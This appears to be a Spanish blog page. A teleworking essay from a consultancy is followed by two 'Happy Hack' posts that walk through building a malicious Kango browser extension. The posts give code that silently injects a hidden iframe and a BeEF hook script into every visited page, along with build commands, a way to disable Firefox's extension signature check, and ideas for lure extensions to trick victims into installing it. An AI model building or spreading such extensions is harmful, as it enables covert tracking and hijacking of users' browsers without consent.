Aparcando como puede, Pepe Lotas, sale disparado del coche y en su mente tan solo una idea ocupa la totalidad de su campo de consciencia… arañar el mayor número posible de segundos en su frenética carrera hacia el odiado “Aparato de Fichar”, el «Fich-O-Matic»,..
Una vez cumplido este trámite a Pepe Lotas todavía le quedará un último escollo que superar antes de poder relajarse… Ese escollo se llama «Jefe».
– “Sr Lotas, ¿qué horas son estas de llegar?”
– “Perdón.. err… señor es que había atasco y….”
– “No me toque las pe-lotas, Sr idem… aquí hay que estar a la hora… le guste a usted o no le guste…”
– “Si, señor, no volverá a ocurrir”
¿Acaso había alguna actividad urgente que realizar… trabajo retrasado que no podía demorarse más en su conclusión… o tal vez público esperando en ventanilla a ser atendido…?? No.. nada de eso.
Es más… a partir de este momento, Pepe Lotas ya puede, con total tranquilidad, relajarse, irse a desayunar, leer un rato el periódico, y realizar su trabajo diario a su ritmo… todo eso hasta que llega la hora mágica en que vuelve a frotar su tarjeta magnética contra la, por esas horas , insinuante y seductora hendidura del Fich-O-Matic
¿A alguien le suena algo de todo esto? Esta grotesca historia, aunque contada en términos jocosos refleja una escena que aún se repite con demasiada frecuencia.
Aún arrastramos un paradigma de trabajo que a todas luces, desde mi punto de vista ha quedado obsoleto.
Desde THW Consulting entendemos que ha llegado la hora de hacer emerger una mentalidad laboral de fronteras espaciales expandidas, y no solo apostamos, sino que como parte integrante de nuestra filosofía pretendemos ofrecer las herramientas necesarias, para que este cambio pueda producirse de forma real y segura.
Un elevadísimo porcentaje de tareas/trabajos que se realizan en una oficina no requieren interacción directa con el cliente. En estos tiempos y gracias a la aportación de las empresas integradoras de sistemas IT, es posible cambiar el concepto de “horas de trabajo” por el de objetivos realizados en los plazos marcados, un parámetro de medición del rendimiento mucho más realista y eficiente, que permite revertir en la vida personal todo esa cantidad de tiempo muerto de oficina que literalmente se tira a la basura, al no aprovecharse ni en el trabajo ni en la vida personal del empleado.
Quisiera citar en las siguientes líneas, algunas de las ventajas del teletrabajo, tanto para el empleado como para la empresa, y como todo tiene su contrapartida, justo es que comentemos algunas de las desventajas para ambos “bandos”, y que tendremos que ir puliendo y sopesando todos los que estamos implicados en la construcción de una Sociedad Universal de la Información.
Ventajas del Teletrabajo para el Empleado.
Mayor autonomía y movilidad: El trabajador podría compatiblizar su trabajo con su viaje personal por Indonesia, por ejemplo
Aumento de la productividad: Esto habla por sí solo. Cuando se trabaja, se trabaja. No se trabaja para cubrir el expediente o rellenar las horas. Se trabaja por objetivos cumplidos. El tiempo de trabajo está enteramente dedicado a este fin.
Más oportunidades laborales: El teletrabajo permite optar por puestos de trabajo no constreñidos por unas determinadas fronteras espacio-temporales
Mayor especialización. Es hora de acabar con el tópico de jornadas de 8 horas al día cuarenta horas semanales, con independencia del tipo de labor que se desempeñe. El teletrabajo favorece puestos altamente especializados y para tareas muy concretas que requieran una ínfima fracción de tiempo de lo que hasta ahora se conoce como «jornada laboral»
Más vida familiar.. que tanta falta hace en esta época de alienamiento
Mejor integración laboral de personas con discapacidad. ¿Por qué va una persona con discapacidad a tener que desplazarse a nigún sitio para hacer algo que bien podría hacer tranquilamente desde su hogar?
Posibilidad de combinar con tareas domésticas. Trabajo, descanso para hacer la cama… vuelvo a trabajar.. descanso para preparar la comida… todo ello en albornoz, si se desea…
Menor estrés. Ya desde por la mañana… al contrario que nuestro amigo Pepe Lotas
Menos desplazamientos. Démosle un respiro a la atmósfera… ella lleva milenios dándonoslo a nosotros. Además el trabajor podrá dejar de trabajar para pagar el coche que le lleva al trabajo.
¿Y por qué estar inventando protocolos grotescos como la alternancia de matriculas pares e impares con permiso para circular en una ciudad en donde se ha activado el protocolo antipolución. Mucho mejor protocolo antipolución es no tener que desplazar inutilmente cantidad de seres humanos.
Elección personal del entorno de trabajo… la silla perfecta… el entorno ideal.. las fotos de la familia. la música favorita del empleado de fondo.. y el acuario con peces de colores… o sencillamente tenerlo todo tirado y en desorden si es eso lo que nos gusta.
Favorece el acceso a la formación (por medio de la teleformación), con la ventaja añadida de que se aprende a través del medio con que se va a trabajar.
Más tiempo libre, mejor rendimiento que en la oficina, horario flexible, mejor calidad de vida. ¿cuanto pagaría uno por eso?
Herramienta útil para mejorar el ejercicio de cualquier profesión, desvinculada del lugar y del horario, adaptando «el trabajo a la vida» y no «la vida al trabajo», y sustituyendo «obligación» por» responsabilidad“
Modalidad más racional de trabajo, permite recuperar la profesionalidad y la especialización en el trabajo autónomo e independiente.
Significa también trabajar a gusto, con ilusión, con mayor dedicación y compromiso.
Ventajas del Teletrabajo para la empresa
Menos problemas de convivencia entre empleados
Mayor productividad debido a la implantación del trabajo por objetivos
Menor coste por producción
Menor infraestructura necesaria
Más acceso a profesionales de alto nivel, desde múltiples ubicaciones.
Eliminación de control horario
Mejora de plazos de entrega
Posibilidad de modificar horarios de trabajo
Eliminación del absentismo laboral
Implementación de las Nuevas Tecnologías de la información, ya que la empresa que contrata Teletrabajadores está obligada a disponer de equipos adecuados para poder realizar un trabajo ágil.
Reducción de costes: la creación de un puesto de Teletrabajo resulta un 50% más barato que un puesto presencial.
Facilidad de expansión geográfica mutinacional
Crecimiento sin cambios estructurales
Mejor aprovechamiento de los puestos de trabajo, que pueden ser compartidos por distintos trabajadores.
Menor contaminación al disminuir el traslados de trabajdores desde sus casas a sus puestos de trabajo presencial.
Justo es que comentemos algunas de las desventajas con las que hemos de lidiar, siendo en muchas ocasiones desventajas derivadas del paradigma del trabajo presencial, y de hábitos mentales adquiridos, más que desventajas propiamente dichas.
Desventajas del Teletrabajo para el Empleado
Inseguridad laboral, ya que puede hacer más frecuente un despido por la falta de contacto directo y de los vínculos emocionales que pudieran haberse creado a través de un contacto directo. El empresario puede tender a ver a sus teleemplados como meras piezas dentro de su esquema empresarial. Aunque esto tampoco dista mucho de lo que hoy en día sucede.
Falta de ambiente laboral, el ambiente en el que el trabajador presta sus servicios puede no ser el más apto para la realización de sus actividades, aunque el empleado crea lo contrario.
Puede provocar el sedentarismo, ya que se disminuyen los traslados y movimientos.
Aumento de conflictos o distracciones dentro del núcleo familiar.
Perdida de colaboración y relaciones personales con otros trabajadores de su area.
Desventajas del teletrabajo para la empresa.
Hay un punto de rendimiento decreciente empleando a teletrabajadores, donde el coste de un control de calidad es mayor que el valor que esos teletrabajadores aportan, ya que la supervisión del trabajador desde casa es menor.
Suele haber pérdida de jerarquías. Al los jefes de la vieja ola les cuesta dejar de sentirse «jefes»
Se pueden crear conflictos derivados de la lealtad de los teletrabajadores cuando accedan a la información confidencial de la compañía. Cuesta dejar pasar a personas a las que no se les está viendo la cara.
Se da una menor identificacion del trabajador con la empresa.
El aislamiento fisico produce una menor socializacion y participacion del trabajador.
El debate está sobre la mesa, y desde THW Consulting apostamos claramente por modelos de trabajo en red distribuidos, que ya hemos puesto en marcha en nosotros mismos.
Dentro de no mucho tiempo, el teletrabajo será igualmente aplicable a los puestos que requieren interacción directa con el cliente. Esto lleva de forma natural al concepto de “telepresencia” en el que incluso los puestos de atención personal al cliente pueden realizarse desde ubicaciones remotas mediante videoconferencias de alta calidad.
Pero el caso particular de la telepresencia… ya no admite el trabajo en albornoz
Carmelo «Kinjo» Toledo
Partiendo de lo visto en la entrada anterior, es el momento de comenzar a pensar en qué alternativas se encuentran disponibles de cara a un atacante a la hora de incluir rutinas maliciosas sobre la extensión desarrollada. En este sentido, pueden haber muchas rutinas basadas en Javascript que se podrían incluir directamente en el código de la extensión, las cuales se podrían encargar de extraer información o utilizar el navegador web como “pivote” para realizar peticiones contra otros sitios web en Internet obviamente sin el consentimiento del usuario. Como se ha visto antes, para crear dichas rutinas en Kangoo contamos con 2 alternativas posibles: Background y Content scripts. Vamos a ver cuál puede ser la mejor forma para crear la extensión con rutinas maliciosas a lo largo de éste post, sin embargo, antes de ello hay que pensar en el payload que se quiere distribuir en la extensión, qué operaciones debe ejecutar dicho payload sobre el navegador web y por supuesto, intentar que dichas operaciones tengan el mayor impacto posible sobre la “víctima”. Pueden haber varias opciones para cumplir con dicho objetivo, sin embargo, para éste caso concreto, vamos a centrarnos en el uso de una herramienta de la que ya se ha hablado anteriormente en éste blog y que tiene una potencia que pocas herramientas enfocadas a los ataques “client-side” disponen actualmente, estamos hablado de BeEF. Como se ha comentado en la serie de artículos en los que se ha hablado de BeEF (concretamente aquí, aquí, y aquí) el funcionamiento de ésta herramienta se basa en la distribución de un “hook” que contiene una serie de instrucciones que permiten establecer un canal de comunicación directo con un panel de control central, en donde es posible gestionar todas las víctimas (en la terminología de BeEF conocidas como “Zombies”) y posteriormente, ejecutar sobre cada una múltiples comandos que permiten utilizar al “zombie” como un pivote para ejecutar ataques a otros sistemas o extraer información del navegador de la víctima. Aunque BeEF es una herramienta que se encuentra desarrollada en Ruby, el “hook” se basa en Javascript, ya que evidentemente contiene todas las instrucciones que se deben de ejecutar en el lado del cliente. Cuando se levanta BeEF se puede ver que además de indicar la ruta donde se encuentra el hook, también inicia la interfaz web desde donde se podrán controlar todos los navegadores que ejecuten el hook.
Ahora que se encuentra levantada la instancia de BeEF y tenemos un “hook” resulta evidente que partiendo de lo visto en la entrada anterior, es necesario que la extensión se encargue de descargar el hook del servidor de BeEF y posteriormente sea ejecutado directamente en el navegador en donde se ha instalado la extensión. Como se ha visto antes, para desarrollar la lógica de la extensión, las principales alternativas disponibles son “background scripts” y “content scripts”, los cuales permiten el uso completo de la API de Kangoo pero tal como se ha explicado en la entrada anterior, su contexto de ejecución es distinto. A continuación vamos a analizar ambas alternativas detalladamente a la hora de cargar el “hook” y ver cuál puede ser la más efectiva.
Cargar el Hook de BeEF en un Background Script
En el fichero “main.js” se encuentran las instrucciones que se ejecutarán como un “background script”, se trata de instrucciones que son independientes de las páginas cargadas por el usuario y se ejecutan directamente en el contexto del navegador. El Hook de BeEF está compuesto por instrucciones Javascript que se deben ejecutar por el cliente (navegador) para que todo funcione según lo esperado y aunque lo más habitual es cargar dicho hook en una página con alguna vulnerabilidad del tipo XSS, Content Spoofing o similar, en este caso concreto es posible descargarlo desde el servidor de BeEF e incluir el fichero JS directamente en la extensión como si se tratase de cualquier otro background script. En tal caso, lo único que haría falta seria editar el fichero “extension_info.js” e incluir el hook para que el navegador se encargue de ejecutarlo en el momento en el que la extensión se encuentre cargada y habilitada en el navegador. Es un enfoque sencillo y en apariencia requiere muy poco esfuerzo, aunque como se verá a continuación no es el más adecuado para nuestros propósitos. El contenido del fichero “extension_info.js” únicamente cambiará en la sección «background_scripts»
[sourcecode language=»javascript»]
"background_scripts": [
"main.js",
"hook.js"
]
[/sourcecode]
Del mismo modo que el fichero “main.js” se encuentra bajo el directorio “src/common”, el fichero “hook.js” de BeEF debe encontrarse también en la misma ubicación. Dado que no es necesario realizar ninguna modificación adicional para realizar ésta prueba de concepto, a continuación se procede a construir nuevamente la extensión tal y como se ha visto en la entrada anterior y posteriormente, se procede a instalarla en el navegador web y ….
La extensión se carga correctamente y el hook llega a ejecutarse sobre un navegador web Firefox, pero no funciona igual sobre un navegador web como Chrome debido a las medidas de seguridad que impone dicho navegador sobre elementos potencialmente peligrosos. En ambos casos, es posible apreciar que la extensión carga el fichero “hook,js” de BeEF pero solamente llega a establecerse correctamente la conexión cuando se utiliza un navegador web Firefox. Dicho esto, utilizar Background Scripts no parece ser la alternativa más viable, pero aún nos queda la otra opción: Content Scripts.
Cargar el Hook de BeEF en un Content Script
Los Content Scripts son rutinas muy potentes ya que permiten acceder a cada uno de los sitios que un usuario visita mientras que la extensión se encuentra activa. Evidentemente, este tipo de rutinas pueden ser utilizadas para realizar actividades de seguimiento y tracking sobre los contenidos que visualiza el usuario navegando por Internet. Navegadores web como Firefox tienen un mecanismo muy robusto basado en firmas para impedir que cualquier extensión sea instalada por el usuario, únicamente permite la instalación de extensiones firmadas y verificadas por Mozilla, algo que es de agradecer ya que de esta forma la “superficie de ataque” se reduce bastante e impide que un usuario instale en su navegador una extensión potencialmente dañina, aunque como se ha visto en la entrada anterior, éste comportamiento por defecto se puede modificar simplemente alterando cambiando la configuración del navegador web. Los Content Scripts están diseñados precisamente para realizar diferentes tipos de operaciones sobre cada uno de los sitios visitados por los usuarios, siendo lo suficientemente flexibles como para declarar reglas en base a los sitios web visitados y también, tal como se ha visto en la entrada anterior, es posible manipular el árbol DOM de cada sitio web.
Con esto debería ser suficiente para manipular la estructura de las páginas web visitadas por las víctimas y crear de forma dinámica, un elemento “script” que se encargará de cargar el hook de BeEF. Ahora, para poner en marcha lo explicado antes, vamos a proceder a modificar el fichero “content.js” de la extensión desarrollada anteriormente con el siguiente contenido:
[sourcecode language=»javascript»]
// ==UserScript==
// @name THW Frame
// @include http://*
// @include https://*
// @require jquery-1.9.1.min.js
// ==/UserScript==
var frame =$(document.createElement(‘script’)).attr({
src:’http://127.0.0.1:3000/hook.js’,
type:’text/javascript’
}).appendTo(document.body);
[/sourcecode]
Lo anterior, como una prueba de concepto básica ésta bien, pero evidentemente es conveniente ajustar las reglas de “include” a únicamente aquellos dominios que puedan resultar interesantes y también, realizar pruebas en un entorno diferente al local, por ejemplo, un VPS o similar, sin embargo sobre éste último punto se hablará con mayor detalle en una próxima entrada.
Como se puede apreciar, en este caso cada una de las páginas visitadas por el usuario será modificada por la extensión y en el árbol DOM de cada página, se creará un nuevo elemento “script” que apuntará a las rutinas del hook de BeEF para llevar a cabo el ataque “client-side”.
Con estás pequeñas modificaciones, ahora solamente es necesario volver a construir la extensión y desplegarla en el navegador web, evidentemente BeEF se debe encontrar levantado para aceptar las conexiones realizadas por parte de la víctima. Desde el directorio de Kangoo ejecutar:
python kango.py build THWExtension/
[ INFO] Contact extensions@kangoextensions.com to enable IE support
[ INFO] Running Kango v1.8.0
[ INFO] Building chrome extension…
[ INFO] Building firefox extension…
[ INFO] Building safari extension…
Ahora, con la extensión generada se debe proceder a instalarla directamente en el navegador web.
A continuación, navegar por cualquier sitio web en Internet, en el caso de la imagen de abajo, se puede ver que el usuario ha navegado por el sitio web de youtube y es precisamente lo que se enseñará en la sección de “Hooked Browsers” de BeEF.
Como se puede ver en la imagen anterior, la estructura de la página ha cambiado y aunque su comportamiento es el mismo, se ha incrustado un nuevo elemento “script” que es el que permite realizar las conexiones desde el navegador hacia el servidor de BeEF, de hecho, tal como se puede apreciar en la siguiente imagen, las peticiones realizadas por el hook son constantes, con el fin de enviar peticiones del tipo “keep-alive” al servidor e indicarle que el navegador aún se encuentra infectado.
Finalmente, desde el servidor de BeEF es posible realizar diferentes tipos de ataques del tipo client-side tal como se ha enseñado en otras entradas de éste blog, además, dado que no se han declarado reglas de filtrado sobre los dominios a consultar, todas las páginas que visite el usuario se van a ver alteradas, aunque como comentaré en otra entrada, a veces pueden haber problemas debido a las políticas de seguridad establecidas en el navegador web, como por ejemplo CSP (Content Security Policy).
En éstas dos entradas se ha explicado cómo desarrollar una extensión maliciosa, pero no deja de ser simplemente una prueba de concepto de la que podrían resultar ataques mucho más estructurados y elaborados. En un siguiente artículo, vamos a ir un paso más adelante y se intentará explicar cómo se puede llevar a cabo ésta misma PoC desde Internet de una forma un poco más “profesional” y sobre todo, conservando el anonimato del panel de control de BeEF, básicamente lo mismo que haría cualquier atacante en Internet.
Un saludo y Happy Hack!
Adastra.
Uno de los grandes inconvenientes de los ataques del tipo «client-side» es que dependen en gran medida de la interacción del cliente (navegador) y su configuración. Es posible crear un hook en un lenguaje como Javascript para ejecutar rutinas maliciosas en el lado del cliente y comprometer su sistema, es una técnica en la que se basan herramientas tan interesantes y potentes como BeEF, sin embargo, en el momento en el que el navegador o la pestaña donde se está ejecutando el hook se cierra, los recursos utilizados por el hook incluyendo las conexiones que pudiera tener abiertas con el atacante se pierden. Es algo difícil de manejar desde el lado del atacante y aunque el hook se encuentre muy bien desarrollado, es importante mantener viva la interacción del cliente con la página que contiene las rutinas maliciosas, algo que no siempre es posible por innumerables razones. Por este motivo, buscar una forma persistente, o al menos, que permita que las conexiones entre la víctima y el atacante sean lo más estables posibles, es uno de los principales objetivos en éste tipo de vectores de ataque. Una buena forma, consiste en «engañar» a la víctima y hacer que instale una extensión maliciosa en su navegador, la cual se va a encontrar en ejecución de forma constante, siempre y cuando dicha extensión se encuentre activa en el navegador, por supuesto. Evidentemente, para que la extensión en cuestión sea interesante para el mayor número de «víctimas» potenciales, debe ofrecer algo que el cliente quiera tener en su navegador, que le aporte algo significativo y útil para las actividades que desempeña, ya sea ocio, trabajo o cualquier otra cosa. Algunas ideas que se me ocurren, podrían ser:
– Extensión que permita programar alertas ante diferentes tipos de eventos sobre múltiples redes sociales.
– Extensión que permita gestionar varios perfiles de redes VPN y permita conectarse a una o varias de ellas.
– Extensión para detectar y bloquear páginas con scripts maliciosos (la vida está llena de ironías).
– Extensión que permita almacenar localmente las páginas visitadas dependiendo de las reglas indicadas por el usuario.
– Extensión para gestionar de forma ordenada, estructurada, categorizada y utilizando técnicas de machine learning, todo el p0rn que el usuario visualiza y descarga diariamente desde su navegador. Ojo, esto puede ser una idea de negocio y dado el volumen de datos manejar, es posible que sea necesaria una solución de big data. Millones de “víctimas” potenciales. (Es broma, o no…)
Cualquier idea que se os ocurra es aplicable, no obstante, al margen de la funcionalidad que deberá contemplar la extensión, es importante decidir cómo se debe desarrollar, sobre qué navegadores debe ser compatible, cuál será el medio de distribución y qué rutinas «maliciosas» debe ejecutar. En este post simplemente nos vamos a centrar en el primer punto y cómo, utilizando el Framework Kangoo, es posible desarrollar extensiones compatibles con los navegadores más utilizados actualmente, tales como Firefox, Chrome o IE.
¿Qué es Kangoo y cómo funciona?
Kangoo es un framework desarrollado en Python que permite crear extensiones rápida y facilmente, las cuales son compatibles en diferentes navegadores web. Dichas extensiones son desarrolladas utilizando la API disponible en Kangoo y que permite incluir rutinas en Javascript o incluso, cargar scripts de forma remota, algo que desde luego puede ser explotado por un atacante para incluir en la extensión un script con Javascript que permita llevar a cabo un ataque «client-site», aunque evidentemente en tal caso es necesario tener en cuenta las restricciones de seguridad que impone el navegador web.
En este caso concreto y partiendo de los ejemplos suministrados en el proyecto, se va a crear una extensión sencilla que se desplegará en un navegador web Chrome, así que vamos a ello.
En primer lugar, es necesario instalar Kangoo, que como se ha dicho anteriormente es un proyecto basado en Python y para hacerlo, basta simplemente con seguir los siguientes pasos:
1. Descargar la última versión disponible del sitio web oficial de Kango: http://kangoextensions.com/kango.html
2. A continuación, se debe descomprimir el paquete descargado en cualquier directorio y comenzar a crear proyectos.
2.1 Desde hace algún tiempo el link de descarga no funciona correctamente, si os da un 404 al intentar descargar el ZIP del proyecto, recordar que podéis utilizar «la máquina del tiempo»: http://archive.org/web/ y navegar a un snapshot previo. Los de el 2017 no funcionan correctamente, así que ir a los últimos del 2016.
3. Dentro del directorio de Kangoo se encuentra el script «kango.py» el cual permite la creación y gestión de proyectos.
4. Crear el proyecto con el siguiente comando:
python kango.py create «THWExtension»
[ INFO] Contact extensions@kangoextensions.com to enable IE support
[ INFO] Running Kango v1.8.0
Input project name: THWExtension
[ INFO] Creating project…
[ INFO] Project created in directory /THW/THWBlog/kango-framework-latest/THWExtension
5. Ahora que el proyecto ya se encuentra creado es el momento de verificar los directorios y ficheros que ha creado y entender para qué sirven.
En primer lugar, en el directorio THWExtension/src se encuentra todo el código de la extensión y es en donde hay que empezar a meter cosas. Vamos a encontrarnos con los siguientes directorios dentro de «src»:
«chrome», «common», «firefox», «ie», «safari».
Evidentemente cada uno corresponde a elementos muy concretos de cada uno de dichos navegadores web, sin embargo la forma en la que funciona Kangoo nos permite desarrollar componentes «cross browser» que pueden funcionar en los navegadores soportados por el framework.
En el directorio «src/common«existen dos ficheros llamados «main.js» y «extension_info.js«, siendo éste último el que permite establecer los detalles básicos de la extensión creada anteriormente, incluyendo cosas tan importantes como el listado de «content_scripts» y «background_scripts«, así como detalles visuales de la extensión como el icono.
En el fichero «main.js» de la configuración por defecto creada para el proyecto, se incluyen las instrucciones básicas que ejecutará la extensión cuando el navegador la cargue en el contexto correspondiente, con lo cual es el punto en donde se deben incluir las instrucciones «core» de la extensión y es probablemente que sea el mejor punto para comenzar a incluir instrucciones que puedan ser maliciosas, algo que se verá en la siguiente entrada.
Aunque la configuración por defecto solamente crea un «background script» definido en el fichero «main.js«, una de las cuestiones más importantes en Kangoo Framework, es que es posible crear «background scripts» para las operaciones core de la extensión y «content scripts» para acceder al contexto de las páginas web visitadas por el usuario, accediendo a todo el DOM de la página y a su información, algo que desde luego puede ser muy interesante de cara a la creación de una extensión que realice cualquier tipo de rutina maliciosa. Los «content scripts» no solamente permiten acceder la estructura DOM de las páginas, también permite alterar dicha estructura, de tal forma que es posible controlar el comportamiento visual de los componentes enseñados por cualquier sitio web, permitiendo por ejemplo, incrustar un “iframe” oculto que se encargue de descargar un script malicioso. ¿Veis por donde van los tiros? 😉
Primera extensión (muy, pero que muy básica) utilizando Kangoo.
Después de crear el proyecto, el siguiente paso consiste en comenzar a incluir instrucciones en los scripts que harán parte de la extensión. Para ello, es necesario conocer los elementos de la API de Kangoo, la cual se encuentra basada en Javascript nos permite tener un total control sobre las cosas que se pueden y no se pueden hacer en la extensión. En primer lugar, es necesario ajustar los contenidos del fichero “src/common/extension_info.js”, ya que dicho fichero es el que realmente nos permite configurar nuestra extensión. El siguiente contenido puede valer para lo que nos interesa en éste punto.
[sourcecode language=»javascript»]
{
"content_scripts": [“content.js”],
"description": "THW Labs extension",
"creator": "Adastra",
"background_scripts": [
"main.js"
],
"homepage_url": "http://thehackerway.com/",
"version": "0.1",
"browser_button": {
"caption": "THW Extension",
"icon": "icons/thw.png",
"tooltipText": "Make THW Blog great again"
},
"name": "THWExtension"
}
[/sourcecode]
Como se puede apreciar, la parte más importante del fichero se encuentra en la definición de los “content_scripts” y “backgroud_scripts”, además, también es importante apreciar que el atributo “icon” de la estructura “browser_button” apunta a un fichero que se debe encontrar en el directorio “src/common/icons”. Con está configuración básica nos podemos centrar en incluir las instrucciones de los background y content scripts.
Background script
Como se ha comentado anteriormente, en los scripts de background se incluyen todas aquellas instrucciones que permiten controlar la extensión y cualquier otro detalle que hace parte de las funcionalidades propias de la extensión. Aquí se puede utilizar Kangoo en su máxima expresión, ya que es posible hacer uso de la API completa, la cual se encuentra documentada en el siguiente enlace: http://kangoextensions.com/docs/index.html
Ahora bien, las instrucciones básicas que contendrá nuestro primer background script serán las siguientes:
[sourcecode language=»javascript»]
function THWExtension() {
var self = this;
kango.ui.browserButton.addEventListener(kango.ui.browserButton.event.COMMAND,
function() {
self.loadPage();
});
}
THWExtension.prototype = {
loadPage: function() {
kango.browser.tabs.create({url:’http://thehackerway.com/’});
}
};
var extension = new THWExtension();
[/sourcecode]
Como se puede ver, lo primero que se define es una función que contiene la lógica de la extensión, la cual, en éste caso, se encarga simplemente de invocar a la función “loadPage” únicamente en el caso de que se produzca un evento sobre el botón de la extensión, es decir, cuando un usuario pinche sobre él. En éste caso se utiliza el objeto “kango.ui.browserButton” para vincular el evento correspondiente a la interacción del usuario con el botón de la extensión. Luego, se declara el prototipo de la función principal y en él, se incluye la función que se invocará ante el evento descrito anteriormente. La función invocada (“loadPage”) se encarga simplemente de utilizar la API de Kangoo para crear una nueva pestaña en el navegador y abrir en ella la url indicada en el parámetro “url”. Se trata de una extensión sencilla y en la que se puede apreciar la filosofía que se debe aplicar cuando se crean background scripts con Kangoo.
Content script
Si bien es cierto que se trata de un tipo de script bastante interesante, no suele ser utilizado muy a menudo, excepto claro está, para realizar operaciones muy concretas. En este caso, se va a crear un content script que simplemente se encargará de incluir un “iframe” en el árbol DOM de cada una de las páginas visitadas por el usuario, ni más ni me nos que eso. Algo sencillo y sin aplicar ningún tipo de filtro, absolutamente todas las páginas visitadas por parte del usuario serán procesadas por el content script e insertará en ellas el mismo “iframe”, evidentemente para que esto funcione, es necesario que la extensión se encuentre cargada y activa en el navegador web. El contenido del fichero “src/common/content.js” puede ser como el que sigue:
[sourcecode language=»javascript»]
// ==UserScript==
// @name THW Frame
// @include http://*
// @include https://*
// @require jquery-1.9.1.min.js
// ==/UserScript==
var frame = $(document.createElement(‘iframe’)).attr({
src: ‘https://thehackerway.com’,
width: 0
}).appendTo(document.body);
[/sourcecode]
El content script es sencillo, en primer lugar las primeras instrucciones indican que se deben procesar absolutamente todos los dominios visitados desde el navegador web, ya sea por HTTP o por HTTPS. En el caso de querer excluir algún dominio concreto, simplemente basta con utilizar la etiqueta @exclude e indicar el dominio o patrón/expresión regular. También, como se puede apreciar, la etiqueta @require indica que se debe incluir el fichero “jquery-1.9.1.min.js” en la ejecución del content script. Posteriormente, se utiliza jquery para acceder a la estructura DOM de cada uno de los sitios web visitados desde el navegador web y se crea un “iframe” cuyo “src” apunta a https://thehackerway.com y además, el width a “0” indica que el script no va a ser visible de cara al usuario. Dicho elemento se inserta directamente en el arbol DOM de la página web visitada gracias a la función “appendTo”.
Se trata de un script sencillo y que puede hacer bastante daño como resulta evidente. Ahora vamos a ver cómo se construye y despliega la extensión en el navegador web.
Construcción y despliegue.
Con todos los elementos preparados, es el momento de construir la extensión. Es algo muy sencillo, basta con ejecutar el siguiente comando desde el directorio raíz de Kangoo (donde se ha instalado).
python kango.py build THWExtension
[ INFO] Contact extensions@kangoextensions.com to enable IE support
[ INFO] Running Kango v1.8.0
[ INFO] Building chrome extension…
[ INFO] Building firefox extension…
[ INFO] Building safari extension…
Con esto se genera el directorio “THWExtension/output” el cual contiene la extensión empaquetada y lista para ser desplegada. Hay que tener en cuenta varias cosas:
1. Los errores de construcción que arroja Kangoo en ocasiones suelen ser poco descriptivos, es importante asegurarse de que el fichero “extension_info.json” es correcto y que cada uno de los ficheros se encuentra ubicado donde debe de estar.
2. En el caso de que la imagen para el botón de la extensión no se encuentre en el directorio “src/common/icons” Kangoo lanzará un error que indica que no se ha podido abrir un fichero o directorio, concretamente lanzará la siguiente excepción:
IOError: [Errno 2] No such file or directory: ‘/THW/THWBlog/kango-framework-latest/THWExtension/output/chrome.crx’
3. En el caso de que los content o background scripts requieran de elementos externos, como el caso de un script como “jquery”, es necesario ubicar dicho fichero en el directorio “src/common” al mismo nivel en el que se encuentran dichos scripts.
Finalmente, basta simplemente con desplegar la extensión directamente en cualquier navegador soportado, del mismo modo que se instala cualquier extensión y una vez realizado dicho proceso, se podrá ver el botón de la extensión en la barra de extensiones del navegador.
4. En el caso de instalar la extensión de una versión reciente de Firefox, es posible que no sea posible hacerlo debido a que por defecto, el navegador admite únicamente extensiones firmadas. Ver en detalle el siguiente artículo de Mozilla: https://support.mozilla.org/t5/Problems-with-add-ons-plugins-or/Add-on-signing-in-Firefox/ta-p/30262 la solución para realizar pruebas es simple, entrar en la página web de administración del navegador «about:config» y cambiar el valor de la propiedad «xpinstall.signatures.required» a false.
Ahora, con la extensión activa, es posible navegar por cualquier sitio en Internet y se podrá apreciar en el árbol DOM de cada página, que se incluye un elemento “frame” que si bien, no es visible de cara al usuario, si se ve puede ver en el código fuente de la página.
De momento sólo tenemos una extensión básica, pero aún falta la parte en la que se introducen instrucciones que pueden ser interesantes de cara a un atacante, esto se verá en el siguiente artículo en donde se indicarán las alternativas disponibles partiendo de lo que se ha explicado en éste post.
Un saludo y Happy Hack!
Adastra.